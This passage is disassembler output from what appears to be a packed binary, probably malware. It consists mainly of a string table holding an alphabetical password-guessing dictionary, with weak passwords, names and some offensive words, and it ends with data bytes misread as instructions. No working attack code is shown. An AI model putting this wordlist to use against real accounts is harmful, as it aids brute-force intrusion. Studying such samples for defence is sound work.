dd offset aJanet ; "janet"
dd offset aJanice ; "janice"
dd offset aJanie ; "janie"
dd offset aJapan ; "japan"
dd offset aJasmin ; "jasmin"
dd offset aJava ; "java"
dd offset aJazz ; "jazz"
dd offset aJean ; "jean"
dd offset aJeanne ; "jeanne"
dd offset aJeff ; "jeff"
dd offset aJenni ; "jenni"
dd offset aJennifer ; "jennifer"
dd offset aJenny ; "jenny"
dd offset aJerry ; "jerry"
dd offset aJerusale ; "jerusale"
dd offset aJessica ; "jessica"
dd offset aJester ; "jester"
dd offset aJewelry ; "jewelry"
dd offset aJill ; "jill"
dd offset aJixian ; "jixian"
dd offset aJoanne ; "joanne"
dd offset aJody ; "jody"
dd offset aJohn ; "john"
dd offset aJohndoe ; "johndoe"
dd offset aJohnny ; "johnny"
dd offset aJoseph ; "joseph"
dd offset aJoshua ; "joshua"
dd offset aJournal ; "journal"
dd offset aJoyce ; "joyce"
dd offset aJudith ; "judith"
dd offset aJudy ; "judy"
dd offset aJuggle ; "juggle"
dd offset aJuicy ; "juicy"
dd offset aJulia ; "julia"
dd offset aJulie ; "julie"
dd offset aJuliet ; "juliet"
dd offset aJune ; "june"
dd offset aJupiter ; "jupiter"
dd offset aKaka ; "kaka"
dd offset aKaren ; "karen"
dd offset aKarie ; "karie"
dd offset aKarina ; "karina"
dd offset aKatana ; "katana"
dd offset aKate ; "kate"
dd offset aKathleen ; "kathleen"
dd offset aKathrine ; "kathrine"
dd offset aKathy ; "kathy"
dd offset aKatina ; "katina"
dd offset aKatrina ; "katrina"
dd offset aKelly ; "kelly"
dd offset aKeri ; "keri"
dd offset aKermit ; "kermit"
dd offset aKernel ; "kernel"
dd offset aKerri ; "kerri"
dd offset aKerrie ; "kerrie"
dd offset aKerry ; "kerry"
dd offset aKevin ; "kevin"
dd offset aKewl ; "kewl"
dd offset aKeybord ; "keybord"
dd offset aKeyin ; "keyin"
dd offset aKeyword ; "keyword"
dd offset aKids ; "kids"
dd offset aKill ; "kill"
dd offset aKillthem ; "killthem"
dd offset aKilo ; "kilo"
dd offset aKimberly ; "kimberly"
dd offset aKing ; "king"
dd offset aKirk ; "kirk"
dd offset aKirkland ; "kirkland"
dd offset aKiss ; "kiss"
dd offset aKissmyas ; "kissmyas"
dd offset aKitten ; "kitten"
dd offset aKlingon ; "klingon"
dd offset aKnife ; "knife"
dd offset aKnight ; "knight"
dd offset aKnightma ; "knightma"
dd offset aKnown ; "known"
dd offset aKrista ; "krista"
dd offset aKristen ; "kristen"
dd offset aKristi ; "kristi"
dd offset aKristie ; "kristie"
dd offset aKristin ; "kristin"
dd offset aKristine ; "kristine"
dd offset aKristy ; "kristy"
dd offset aLadies ; "ladies"
dd offset aLadle ; "ladle"
dd offset aLakers ; "lakers"
dd offset aLambda ; "lambda"
dd offset aLaminati ; "laminati"
dd offset aLana ; "lana"
dd offset aLaptop ; "laptop"
dd offset aLara ; "lara"
dd offset aLarkin ; "larkin"
dd offset aLarry ; "larry"
dd offset aLaser ; "laser"
dd offset aLaura ; "laura"
dd offset aLava ; "lava"
dd offset aLazarus ; "lazarus"
dd offset aLazer ; "lazer"
dd offset aLeah ; "leah"
dd offset aLebesgue ; "lebesgue"
dd offset aLeft ; "left"
dd offset aLeftwing ; "leftwing"
dd offset aLegal ; "legal"
dd offset aLeland ; "leland"
dd offset aLeroy ; "leroy"
dd offset aLesbian ; "lesbian"
dd offset aLeslie ; "leslie"
dd offset aLetmein ; "letmein"
dd offset aLewis ; "lewis"
dd offset aLexluthe ; "lexluthe"
dd offset aLiberal ; "liberal"
dd offset aLibrary ; "library"
dd offset aLick ; "lick"
dd offset aLicker ; "licker"
dd offset aLife ; "life"
dd offset aLight ; "light"
dd offset aLightsab ; "lightsab"
dd offset aLima ; "lima"
dd offset aLimbaugh ; "limbaugh"
dd offset aLimited ; "limited"
dd offset aLinda ; "linda"
dd offset aLink ; "link"
dd offset aLion ; "lion"
dd offset aLips ; "lips"
dd offset aLisa ; "lisa"
dd offset aLisp ; "lisp"
dd offset aLiteratu ; "literatu"
dd offset aLive ; "live"
dd offset aLoad ; "load"
dd offset aLock ; "lock"
dd offset aLockout ; "lockout"
dd offset aLockword ; "lockword"
dd offset aLogic ; "logic"
dd offset aLoginwor ; "loginwor"
dd offset aLogout ; "logout"
dd offset aLois ; "lois"
dd offset aLolopc ; "lolopc"
dd offset aLoose ; "loose"
dd offset aLore ; "lore"
dd offset aLori ; "lori"
dd offset aLorin ; "lorin"
dd offset aLorraine ; "lorraine"
dd offset aLoser ; "loser"
dd offset aLouis ; "louis"
dd offset aLovebug ; "lovebug"
dd offset aLover ; "lover"
dd offset aLuck ; "luck"
dd offset aLucus ; "lucus"
dd offset aLucy ; "lucy"
dd offset aLude ; "lude"
dd offset aLuke ; "luke"
dd offset aLust ; "lust"
dd offset aLynn ; "lynn"
dd offset aLynne ; "lynne"
dd offset aMachine ; "machine"
dd offset aMacintos ; "macintos"
dd offset aMack ; "mack"
dd offset aMacro ; "macro"
dd offset aMaggot ; "maggot"
dd offset aMagic ; "magic"
dd offset aMagnet ; "magnet"
dd offset aMail ; "mail"
dd offset aMaint ; "maint"
dd offset aMalcolm ; "malcolm"
dd offset aMalcom ; "malcom"
dd offset aMana ; "mana"
dd offset aManager ; "manager"
dd offset aMara ; "mara"
dd offset aMarci ; "marci"
dd offset aMarcy ; "marcy"
dd offset aMaria ; "maria"
dd offset aMariens ; "mariens"
dd offset aMarietta ; "marietta"
dd offset aMarijuan ; "marijuan"
dd offset aMarines ; "marines"
dd offset aMark ; "mark"
dd offset aMarkus ; "markus"
dd offset aMarni ; "marni"
dd offset aMarriage ; "marriage"
dd offset aMars ; "mars"
dd offset aMarty ; "marty"
dd offset aMarvin ; "marvin"
dd offset aMary ; "mary"
dd offset aMason ; "mason"
dd offset aMaster ; "master"
dd offset aMath ; "math"
dd offset aMaurice ; "maurice"
dd offset aMeagan ; "meagan"
dd offset aMegabyte ; "megabyte"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMerlin ; "merlin"
dd offset aMetal ; "metal"
dd offset aMetalhea ; "metalhea"
dd offset aMetalica ; "metalica"
dd offset aMets ; "mets"
dd offset aMice ; "mice"
dd offset aMichael ; "michael"
dd offset aMichel ; "michel"
dd offset aMichelan ; "michelan"
dd offset aMichele ; "michele"
dd offset aMichelle ; "michelle"
dd offset aMickey ; "mickey"
dd offset aMicro ; "micro"
dd offset aMicrochi ; "microchi"
dd offset aMicropro ; "micropro"
dd offset aMicrosof ; "microsof"
dd offset aMidieval ; "midieval"
dd offset aMike ; "mike"
dd offset aMine ; "mine"
dd offset aMinimum ; "minimum"
dd offset aMinsky ; "minsky"
dd offset aMisfit ; "misfit"
dd offset aMission ; "mission"
dd offset aMkii ; "mkii"
dd offset aMode ; "mode"
dd offset aModem ; "modem"
dd offset aMogul ; "mogul"
dd offset aMoguls ; "moguls"
dd offset aMonday ; "monday"
dd offset aMonica ; "monica"
dd offset aMoom ; "moom"
dd offset aMoor ; "moor"
dd offset aMoose ; "moose"
dd offset aMore ; "more"
dd offset aMorley ; "morley"
dd offset aMorris ; "morris"
dd offset aMortal ; "mortal"
dd offset aMortalco ; "mortalco"
dd offset aMortgage ; "mortgage"
dd offset aMosaic ; "mosaic"
dd offset aMountain ; "mountain"
dd offset aMouse ; "mouse"
dd offset aMove ; "move"
dd offset aMovie ; "movie"
dd offset aMovies ; "movies"
dd offset aMozart ; "mozart"
dd offset aMpeg ; "mpeg"
dd offset aMsdos ; "msdos"
dd offset aMuppets ; "muppets"
dd offset aMutant ; "mutant"
dd offset aNagel ; "nagel"
dd offset aName ; "name"
dd offset aNancy ; "nancy"
dd offset aNapoleon ; "napoleon"
dd offset aNasa ; "nasa"
dd offset aNavy ; "navy"
dd offset aNepenthe ; "nepenthe"
dd offset aNeptune ; "neptune"
dd offset aNess ; "ness"
dd offset aNetscape ; "netscape"
dd offset aNetwork_0 ; "network"
dd offset aNewborn ; "newborn"
dd offset aNews ; "news"
dd offset aNewsgrou ; "newsgrou"
dd offset aNewton ; "newton"
dd offset aNewyork ; "newyork"
dd offset aNext ; "next"
dd offset aNice ; "nice"
dd offset aNicole ; "nicole"
dd offset aNicotine ; "nicotine"
dd offset aNight ; "night"
dd offset aNightmar ; "nightmar"
dd offset aNintendo ; "nintendo"
dd offset aNita ; "nita"
dd offset aNnaacp ; "nnaacp"
dd offset aNoble ; "noble"
dd offset aNobody ; "nobody"
dd offset aNode ; "node"
dd offset aNoreen ; "noreen"
dd offset aNotes ; "notes"
dd offset aNoth ; "noth"
dd offset aNova ; "nova"
dd offset aNovel ; "novel"
dd offset aNovember ; "november"
dd offset aNoxious ; "noxious"
dd offset aNuclear ; "nuclear"
dd offset aNude ; "nude"
dd offset aNuke ; "nuke"
dd offset aNukem ; "nukem"
dd offset aNull_1 ; "null"
dd offset aNumber ; "number"
dd offset aNutritio ; "nutritio"
dd offset aNuts ; "nuts"
dd offset aNyquist ; "nyquist"
dd offset aObscurit ; "obscurit"
dd offset aOceanogr ; "oceanogr"
dd offset aOcelot ; "ocelot"
dd offset aOffice ; "office"
dd offset aOkay ; "okay"
dd offset aOldage ; "oldage"
dd offset aOlivetti ; "olivetti"
dd offset aOlivia ; "olivia"
dd offset aOmega ; "omega"
dd offset aOpen ; "open"
dd offset aOpening ; "opening"
dd offset aOpenlock ; "openlock"
dd offset aOpensesa ; "opensesa"
dd offset aOperator ; "operator"
dd offset aOrca ; "orca"
dd offset aOrient ; "orient"
dd offset aOrwell ; "orwell"
dd offset aOscar ; "oscar"
dd offset aOsiris ; "osiris"
dd offset aOutdoors ; "outdoors"
dd offset aOutlaw ; "outlaw"
dd offset aOutput ; "output"
dd offset aOutside ; "outside"
dd offset aOxford ; "oxford"
dd offset aPacific ; "pacific"
dd offset aPackard ; "packard"
dd offset aPacker ; "packer"
dd offset aPainless ; "painless"
dd offset aPaint ; "paint"
dd offset aPakistan ; "pakistan"
dd offset aPamela ; "pamela"
dd offset aPapa ; "papa"
dd offset aPaper ; "paper"
dd offset aPapers ; "papers"
dd offset aPascal ; "pascal"
dd offset aPassphra ; "passphra"
dd offset aPaste ; "paste"
dd offset aPatricia ; "patricia"
dd offset aPatriot ; "patriot"
dd offset aPatty ; "patty"
dd offset aPaula ; "paula"
dd offset aPeanuts ; "peanuts"
dd offset aPecker ; "pecker"
dd offset aPencil ; "pencil"
dd offset aPenelope ; "penelope"
dd offset aPenguin ; "penguin"
dd offset aPenis ; "penis"
dd offset aPenname ; "penname"
dd offset aPentagon ; "pentagon"
dd offset aPentagra ; "pentagra"
dd offset aPenthous ; "penthous"
dd offset aPentium ; "pentium"
dd offset aPeoria ; "peoria"
dd offset aPepper ; "pepper"
dd offset aPercolat ; "percolat"
dd offset aPerfect ; "perfect"
dd offset aPermit ; "permit"
dd offset aPersimmo ; "persimmo"
dd offset aPersona ; "persona"
dd offset aPervert ; "pervert"
dd offset aPete ; "pete"
dd offset aPeter ; "peter"
dd offset aPhil ; "phil"
dd offset aPhilip ; "philip"
dd offset aPhoenix ; "phoenix"
dd offset aPhone ; "phone"
dd offset aPhoton ; "photon"
dd offset aPhrack ; "phrack"
dd offset aPhrase ; "phrase"
dd offset aPhreak ; "phreak"
dd offset aPhuck ; "phuck"
dd offset aPick ; "pick"
dd offset aPierre ; "pierre"
dd offset aPimp ; "pimp"
dd offset aPinname ; "pinname"
dd offset aPiss ; "piss"
dd offset aPizza ; "pizza"
dd offset aPlane ; "plane"
dd offset aPlayboy ; "playboy"
dd offset aPlover ; "plover"
dd offset aPluto ; "pluto"
dd offset aPlymouth ; "plymouth"
dd offset aPoetry ; "poetry"
dd offset aPolice ; "police"
dd offset aPolly ; "polly"
dd offset aPolynomi ; "polynomi"
dd offset aPonderin ; "ponderin"
dd offset aPoop ; "poop"
dd offset aPoor ; "poor"
dd offset aPork ; "pork"
dd offset aPorn ; "porn"
dd offset aPorno ; "porno"
dd offset aPorsche ; "porsche"
dd offset aPost ; "post"
dd offset aPoster ; "poster"
dd offset aPower ; "power"
dd offset aPraise ; "praise"
dd offset aPrecious ; "precious"
dd offset aPrelude ; "prelude"
dd offset aPresto ; "presto"
dd offset aPrince ; "prince"
dd offset aPrinceto ; "princeto"
dd offset aPrinter ; "printer"
dd offset aPriv ; "priv"
dd offset aPrivate ; "private"
dd offset aPrivs ; "privs"
dd offset aProceed ; "proceed"
dd offset aProcesso ; "processo"
dd offset aProfesso ; "professo"
dd offset aProfile ; "profile"
dd offset aProgram ; "program"
dd offset aPrompt ; "prompt"
dd offset aProtect ; "protect"
dd offset aProtozoa ; "protozoa"
dd offset aPsycho ; "psycho"
dd offset aPsychopa ; "psychopa"
dd offset aPublic ; "public"
dd offset aPuck ; "puck"
dd offset aPuke ; "puke"
dd offset aPumpkin ; "pumpkin"
dd offset aPuneet ; "puneet"
dd offset aPunisher ; "punisher"
dd offset aPunk ; "punk"
dd offset aPuppet ; "puppet"
dd offset aPussy ; "pussy"
dd offset aQuebec ; "quebec"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aRabbit ; "rabbit"
dd offset aRachel ; "rachel"
dd offset aRachelle ; "rachelle"
dd offset aRachmani ; "rachmani"
dd offset aRaid ; "raid"
dd offset aRain ; "rain"
dd offset aRainbow ; "rainbow"
dd offset aRaindrop ; "raindrop"
dd offset aRaleigh ; "raleigh"
dd offset aRandom ; "random"
dd offset aRape ; "rape"
dd offset aRascal ; "rascal"
dd offset aRazor ; "razor"
dd offset aReagan ; "reagan"
dd offset aReality ; "reality"
dd offset aReally ; "really"
dd offset aReam ; "ream"
dd offset aReaper ; "reaper"
dd offset aRebal ; "rebal"
dd offset aRebecca ; "rebecca"
dd offset aRebel ; "rebel"
dd offset aRecord ; "record"
dd offset aReddawn ; "reddawn"
dd offset aRedhead ; "redhead"
dd offset aReferenc ; "referenc"
dd offset aRegional ; "regional"
dd offset aRelease ; "release"
dd offset aRemote ; "remote"
dd offset aRenee ; "renee"
dd offset aReno ; "reno"
dd offset aRent ; "rent"
dd offset aReport ; "report"
dd offset aRepublic ; "republic"
dd offset aResistan ; "resistan"
dd offset aReveal ; "reveal"
dd offset aRhino ; "rhino"
dd offset aRich ; "rich"
dd offset aRick ; "rick"
dd offset aRiffraff ; "riffraff"
dd offset aRight ; "right"
dd offset aRightwin ; "rightwin"
dd offset aRing ; "ring"
dd offset aRiot ; "riot"
dd offset aRipple ; "ripple"
dd offset aRisc ; "risc"
dd offset aRoach ; "roach"
dd offset aRobert ; "robert"
dd offset aRobin ; "robin"
dd offset aRobot ; "robot"
dd offset aRobotics ; "robotics"
dd offset aRobyn ; "robyn"
dd offset aRochelle ; "rochelle"
dd offset aRocheste ; "rocheste"
dd offset aRock ; "rock"
dd offset aRocky ; "rocky"
dd offset aRockyhor ; "rockyhor"
dd offset aRodent ; "rodent"
dd offset aRolex ; "rolex"
dd offset aRomano ; "romano"
dd offset aRomeo ; "romeo"
dd offset aRomulan ; "romulan"
dd offset aRonald ; "ronald"
dd offset aRose ; "rose"
dd offset aRosebud ; "rosebud"
dd offset aRosemary ; "rosemary"
dd offset aRoses ; "roses"
dd offset aRough ; "rough"
dd offset aRubber ; "rubber"
dd offset aRuben ; "ruben"
dd offset aRuby ; "ruby"
dd offset aRude ; "rude"
dd offset aRules ; "rules"
dd offset aRunning ; "running"
dd offset aRush ; "rush"
dd offset aRuth ; "ruth"
dd offset aSafe ; "safe"
dd offset aSalami ; "salami"
dd offset aSale ; "sale"
dd offset aSalt ; "salt"
dd offset aSamantha ; "samantha"
dd offset aSample ; "sample"
dd offset aSandra ; "sandra"
dd offset aSandy ; "sandy"
dd offset aSara ; "sara"
dd offset aSarah ; "sarah"
dd offset aSaturday ; "saturday"
dd offset aSaturn ; "saturn"
dd offset aSaxon ; "saxon"
dd offset aScamper ; "scamper"
dd offset aScheme ; "scheme"
dd offset aSchool ; "school"
dd offset aSchoolsucks ; "schoolsucks"
dd offset aScifi ; "scifi"
dd offset aScorpion ; "scorpion"
dd offset aScott ; "scott"
dd offset aScotty ; "scotty"
dd offset aScout ; "scout"
dd offset aSearch ; "search"
dd offset aSecurity ; "security"
dd offset aSeed ; "seed"
dd offset aSega ; "sega"
dd offset aSensor ; "sensor"
dd offset aSentinel ; "sentinel"
dd offset aSentry ; "sentry"
dd offset aSerenity ; "serenity"
dd offset aSerial_0 ; "serial"
dd offset aService ; "service"
dd offset aSesame ; "sesame"
dd offset aSexy ; "sexy"
dd offset aShannon ; "shannon"
dd offset aSharc ; "sharc"
dd offset aShark ; "shark"
dd offset aSharks ; "sharks"
dd offset aSharon ; "sharon"
dd offset aSheffiel ; "sheffiel"
dd offset aSheldon ; "sheldon"
dd offset aShell ; "shell"
dd offset aSherri ; "sherri"
dd offset aShift ; "shift"
dd offset aShirley ; "shirley"
dd offset aShit ; "shit"
dd offset aShitpot ; "shitpot"
dd offset aShiva ; "shiva"
dd offset aShivers ; "shivers"
dd offset aShort ; "short"
dd offset aShuttle ; "shuttle"
dd offset aSick ; "sick"
dd offset aSierra ; "sierra"
dd offset aSignatur ; "signatur"
dd offset aSilver ; "silver"
dd offset aSimcity ; "simcity"
dd offset aSimon ; "simon"
dd offset aSimple ; "simple"
dd offset aSimpsons ; "simpsons"
dd offset aSimulati ; "simulati"
dd offset aSinger ; "singer"
dd offset aSingle ; "single"
dd offset aSite ; "site"
dd offset aSkull ; "skull"
dd offset aSlave ; "slave"
dd offset aSlick ; "slick"
dd offset aSliders ; "sliders"
dd offset aSlow ; "slow"
dd offset aSlut ; "slut"
dd offset aSmall ; "small"
dd offset aSmart ; "smart"
dd offset aSmile ; "smile"
dd offset aSmiles ; "smiles"
dd offset aSmooch ; "smooch"
dd offset aSmother ; "smother"
dd offset aSmtp ; "smtp"
dd offset aSmut ; "smut"
dd offset aSnach ; "snach"
dd offset aSnafu ; "snafu"
dd offset aSnake ; "snake"
dd offset aSnatch ; "snatch"
dd offset aSnoopy ; "snoopy"
dd offset aSoap ; "soap"
dd offset aSocial ; "social"
dd offset aSocrates ; "socrates"
dd offset aSodomy ; "sodomy"
dd offset aSoft ; "soft"
dd offset aSoftware ; "software"
dd offset aSomebody ; "somebody"
dd offset aSondra ; "sondra"
dd offset aSonia ; "sonia"
dd offset aSonic ; "sonic"
dd offset aSonya ; "sonya"
dd offset aSossina ; "sossina"
dd offset aSource ; "source"
dd offset aSouth ; "south"
dd offset aSpaceshi ; "spaceshi"
dd offset aSparrows ; "sparrows"
dd offset aSpear ; "spear"
dd offset aSpell ; "spell"
dd offset aSpice ; "spice"
dd offset aSpider ; "spider"
dd offset aSpiderma ; "spiderma"
dd offset aSpit ; "spit"
dd offset aSpred ; "spred"
dd offset aSpring ; "spring"
dd offset aSpringer ; "springer"
dd offset aSpunk ; "spunk"
dd offset aSquires ; "squires"
dd offset aSr71 ; "sr71"
dd offset aStacey ; "stacey"
dd offset aStaci ; "staci"
dd offset aStacie ; "stacie"
dd offset aStacy ; "stacy"
dd offset aStar ; "star"
dd offset aStarship ; "starship"
dd offset aStart ; "start"
dd offset aStartrek ; "startrek"
dd offset aStartup ; "startup"
dd offset aStarwars ; "starwars"
dd offset aSteak ; "steak"
dd offset aSteal ; "steal"
dd offset aSteel ; "steel"
dd offset aSteph ; "steph"
dd offset aStephani ; "stephani"
dd offset aStereo ; "stereo"
dd offset aSteve ; "steve"
dd offset aStoneage ; "stoneage"
dd offset aStoned ; "stoned"
dd offset aStones ; "stones"
dd offset aStrange ; "strange"
dd offset aStrangle ; "strangle"
dd offset aStratfor ; "stratfor"
dd offset aStreetfi ; "streetfi"
dd offset aString ; "string"
dd offset aStrip ; "strip"
dd offset aStudent ; "student"
dd offset aStuttgar ; "stuttgar"
dd offset aSubscrib ; "subscrib"
dd offset aSubway ; "subway"
dd offset aSuccess ; "success"
dd offset aSuck ; "suck"
dd offset aSuckmydi ; "suckmydi"
dd offset aSucks ; "sucks"
dd offset aSummer ; "summer"
dd offset aSunday ; "sunday"
dd offset aSuperman ; "superman"
dd offset aSuperson ; "superson"
dd offset aSupersta ; "supersta"
dd offset aSuperuse ; "superuse"
dd offset aSupervis ; "supervis"
dd offset aSupport ; "support"
dd offset aSupporte ; "supporte"
dd offset aSurfer ; "surfer"
dd offset aSurfing ; "surfing"
dd offset aSusan ; "susan"
dd offset aSusanne ; "susanne"
dd offset aSusie ; "susie"
dd offset aSuzanne ; "suzanne"
dd offset aSuzie ; "suzie"
dd offset aSwearer ; "swearer"
dd offset aSweat ; "sweat"
dd offset aSwitch ; "switch"
dd offset aSword ; "sword"
dd offset aSybil ; "sybil"
dd offset aSymmetry ; "symmetry"
dd offset aSysadmin ; "sysadmin"
dd offset aSysop ; "sysop"
dd offset aTabasco ; "tabasco"
dd offset aTalk ; "talk"
dd offset aTall ; "tall"
dd offset aTamara ; "tamara"
dd offset aTami ; "tami"
dd offset aTamie ; "tamie"
dd offset aTammy ; "tammy"
dd offset aTangerin ; "tangerin"
dd offset aTango ; "tango"
dd offset aTape ; "tape"
dd offset aTara ; "tara"
dd offset aTarget ; "target"
dd offset aTarragon ; "tarragon"
dd offset aTaylor ; "taylor"
dd offset aTeacher ; "teacher"
dd offset aTeam ; "team"
dd offset aTeapot ; "teapot"
dd offset aTears ; "tears"
dd offset aTech ; "tech"
dd offset aTeen ; "teen"
dd offset aTeenage ; "teenage"
dd offset aTelephon ; "telephon"
dd offset aTelnet ; "telnet"
dd offset aTemptati ; "temptati"
dd offset aTennis ; "tennis"
dd offset aTera ; "tera"
dd offset aTerminal ; "terminal"
dd offset aTerminat ; "terminat"
dd offset aTess ; "tess"
dd offset aTetris ; "tetris"
dd offset aText ; "text"
dd offset aThailand ; "thailand"
dd offset aTheresa ; "theresa"
dd offset aThin ; "thin"
dd offset aThursday ; "thursday"
dd offset aTiffany ; "tiffany"
dd offset aTiger ; "tiger"
dd offset aTime ; "time"
dd offset aTina ; "tina"
dd offset aTits ; "tits"
dd offset aToad ; "toad"
dd offset aToggle ; "toggle"
dd offset aToken ; "token"
dd offset aTokenrin ; "tokenrin"
dd offset aTomato ; "tomato"
dd offset aTopograp ; "topograp"
dd offset aTortoise ; "tortoise"
dd offset aToxic ; "toxic"
dd offset aToyota ; "toyota"
dd offset aTraci ; "traci"
dd offset aTracie ; "tracie"
dd offset aTracy ; "tracy"
dd offset aTrails ; "trails"
dd offset aTransfer ; "transfer"
dd offset aTrap ; "trap"
dd offset aTrapdoor ; "trapdoor"
dd offset aTree ; "tree"
dd offset aTrek ; "trek"
dd offset aTrisha ; "trisha"
dd offset aTrivial ; "trivial"
dd offset aTrojan ; "trojan"
dd offset aTrombone ; "trombone"
dd offset aTron ; "tron"
dd offset aTrue ; "true"
dd offset aTruth ; "truth"
dd offset aTubas ; "tubas"
dd offset aTuesday ; "tuesday"
dd offset aTurn ; "turn"
dd offset aTuttle ; "tuttle"
dd offset aUgly ; "ugly"
dd offset aUmesh ; "umesh"
dd offset aUncle ; "uncle"
dd offset aUndo ; "undo"
dd offset aUnhappy ; "unhappy"
dd offset aUnicorn ; "unicorn"
dd offset aUniform ; "uniform"
dd offset aUniversa ; "universa"
dd offset aUniverse ; "universe"
dd offset aUniversi ; "universi"
dd offset aUnknown_0 ; "unknown"
dd offset aUnlock ; "unlock"
dd offset aUpload ; "upload"
dd offset aUranus ; "uranus"
dd offset aUrchin ; "urchin"
dd offset aUrsula ; "ursula"
dd offset aUsenet ; "usenet"
dd offset aUsermane ; "usermane"
dd offset aUsername ; "username"
dd offset aUsmc ; "usmc"
dd offset aUtil ; "util"
dd offset aUtility ; "utility"
dd offset aUucp ; "uucp"
dd offset aVagina ; "vagina"
dd offset aValerie ; "valerie"
dd offset aVampire ; "vampire"
dd offset aVasant ; "vasant"
dd offset aVenus ; "venus"
dd offset aVeronica ; "veronica"
dd offset aVertigo ; "vertigo"
dd offset aVicky ; "vicky"
dd offset aVictor ; "victor"
dd offset aVideo ; "video"
dd offset aVideogam ; "videogam"
dd offset aVillage ; "village"
dd offset aVirgin ; "virgin"
dd offset aVirginia ; "virginia"
dd offset aVirus ; "virus"
dd offset aVisitor ; "visitor"
dd offset aVisual ; "visual"
dd offset aVisualba ; "visualba"
dd offset aVodka ; "vodka"
dd offset aWaco ; "waco"
dd offset aWard ; "ward"
dd offset aWarez ; "warez"
dd offset aWarfare ; "warfare"
dd offset aWargames ; "wargames"
dd offset aWarp ; "warp"
dd offset aWarren ; "warren"
dd offset aWasp ; "wasp"
dd offset aWatchwor ; "watchwor"
dd offset aWater ; "water"
dd offset aWave ; "wave"
dd offset aWebpage ; "webpage"
dd offset aWednesda ; "wednesda"
dd offset aWeed ; "weed"
dd offset aWeenie ; "weenie"
dd offset aWell ; "well"
dd offset aWendi ; "wendi"
dd offset aWendy ; "wendy"
dd offset aWerewolf ; "werewolf"
dd offset aWest ; "west"
dd offset aWestern ; "western"
dd offset aWhatever ; "whatever"
dd offset aWhatnot ; "whatnot"
dd offset aWhisky ; "whisky"
dd offset aWhite ; "white"
dd offset aWhiting ; "whiting"
dd offset aWhitney ; "whitney"
dd offset aWholesal ; "wholesal"
dd offset aWhore ; "whore"
dd offset aWill ; "will"
dd offset aWilliam ; "william"
dd offset aWilliams ; "williams"
dd offset aWillie ; "willie"
dd offset aWilma ; "wilma"
dd offset aWindows ; "windows"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinston ; "winston"
dd offset aWired ; "wired"
dd offset aWisconsi ; "wisconsi"
dd offset aWiseass ; "wiseass"
dd offset aWithin ; "within"
dd offset aWizard ; "wizard"
dd offset aWolf ; "wolf"
dd offset aWolverin ; "wolverin"
dd offset aWoman ; "woman"
dd offset aWombat ; "wombat"
dd offset aWomen ; "women"
dd offset aWood ; "wood"
dd offset aWoodwind ; "woodwind"
dd offset aWord ; "word"
dd offset aWordperf ; "wordperf"
dd offset aWorf ; "worf"
dd offset aWork ; "work"
dd offset aWorm ; "worm"
dd offset aWormwood ; "wormwood"
dd offset aWwii ; "wwii"
dd offset aWyoming ; "wyoming"
dd offset aXena ; "xena"
dd offset aXfer ; "xfer"
dd offset aXman ; "xman"
dd offset aXmen ; "xmen"
dd offset aXmodem ; "xmodem"
dd offset aXray ; "xray"
dd offset aXyzzy ; "xyzzy"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aYankee ; "yankee"
dd offset aYellow ; "yellow"
dd offset aYellowst ; "yellowst"
dd offset aYolanda ; "yolanda"
dd offset aYosemite ; "yosemite"
dd offset aYoung ; "young"
dd offset aZebra ; "zebra"
dd offset aZeitgeis ; "zeitgeis"
dd offset aZiggy ; "ziggy"
dd offset aZimmerma ; "zimmerma"
dd offset aZmodem ; "zmodem"
dd offset aZombie ; "zombie"
dd offset aZulu ; "zulu"
dd offset a00000000 ; "00000000"
dd offset aTester ; "tester"
dd offset aTestin ; "testin"
dd offset aRoss ; "Ross"
dd offset aRosco ; "Rosco"
dd offset aRoscop ; "RoscoP"
dd offset aRoscopcoltrane ; "RoscoPColtrane"
dd offset aLol ; "lol"
dd offset aD00d ; "d00d"
dd offset aDudette ; "dudette"
dd offset aDud3 ; "dud3"
dd offset aAl3x ; "Al3x"
dd offset aAlexander ; "Alexander"
dd offset aDonaldduck ; "donaldduck"
dd offset aWileecoyote ; "wileecoyote"
dd offset aWindowz ; "windowz"
dd offset aWindoze ; "windoze"
dd offset aWindose ; "windose"
dd offset aBilly ; "billy"
dd offset aM_0 ; "M$"
dd offset aMs ; "MS"
dd offset aWindowsxp ; "WindowsXP"
; ---------------------------------------------------------------------------
sal bh, 1
inc edx
add ah, al
test dword ptr [edx+0], offset aWindows98 ; "windows98"
lodsb
test dword ptr [edx+0], offset aWindozexp ; "windozexp"
xchg eax, esp
loc_42DD9D: ; CODE XREF: .nsp0:0042DDA4j
test dword ptr [edx+0], offset aWindozeme ; "windozeME"
jl short loc_42DD9D
inc edx
add [eax-9], dh
inc edx
add [eax-9], ch
inc edx
add [edi+esi*8+42h], ah
add [edi+esi*8+42h], bl
add [eax-9], bl
inc edx
add [eax-9], dl
inc edx
add [eax-9], cl
inc edx
add [edi+esi*8], bh
inc edx
add [eax], dh
test dword ptr [edx+0], offset aAda ; "ada"
and bh, dh
inc edx
add [edi+esi*8], bl
inc edx
add [eax], bl
test dword ptr [edx+0], offset aAmorphous ; "amorphous"
or bh, dh
inc edx
add ah, bh
test byte ptr [edx+0], 0F8h
test byte ptr [edx+0], 0E8h
test byte ptr [edx+0], 0E4h
test byte ptr [edx+0], 0E0h
test byte ptr [edx+0], 0D4h
test byte ptr [edx+0], 0C8h
test byte ptr [edx+0], 0BCh
test byte ptr [edx+0], 0B8h
test byte ptr [edx+0], 0B4h
test byte ptr [edx+0], 0B0h
test byte ptr [edx+0], 0A4h
test byte ptr [edx+0], 0A0h
test byte ptr [edx+0], 94h
test byte ptr [edx+0], 88h
test byte ptr [edx+0], 7Ch
test byte ptr [edx+0], 70h
test byte ptr [edx+0], 64h
test byte ptr [edx+0], 58h
test byte ptr [edx+0], 54h
test byte ptr [edx+0], 48h
test byte ptr [edx+0], 3Ch
test byte ptr [edx+0], 38h
test byte ptr [edx+0], 34h
test byte ptr [edx+0], 28h
test byte ptr [edx+0], 1Ch
test byte ptr [edx+0], 10h
test byte ptr [edx+0], 4
test byte ptr [edx+0], 0F8h
cmc
inc edx
add ah, ch
cmc
inc edx
add al, ah
cmc
inc edx
add ah, dl
cmc
inc edx
add al, dl
cmc
inc edx
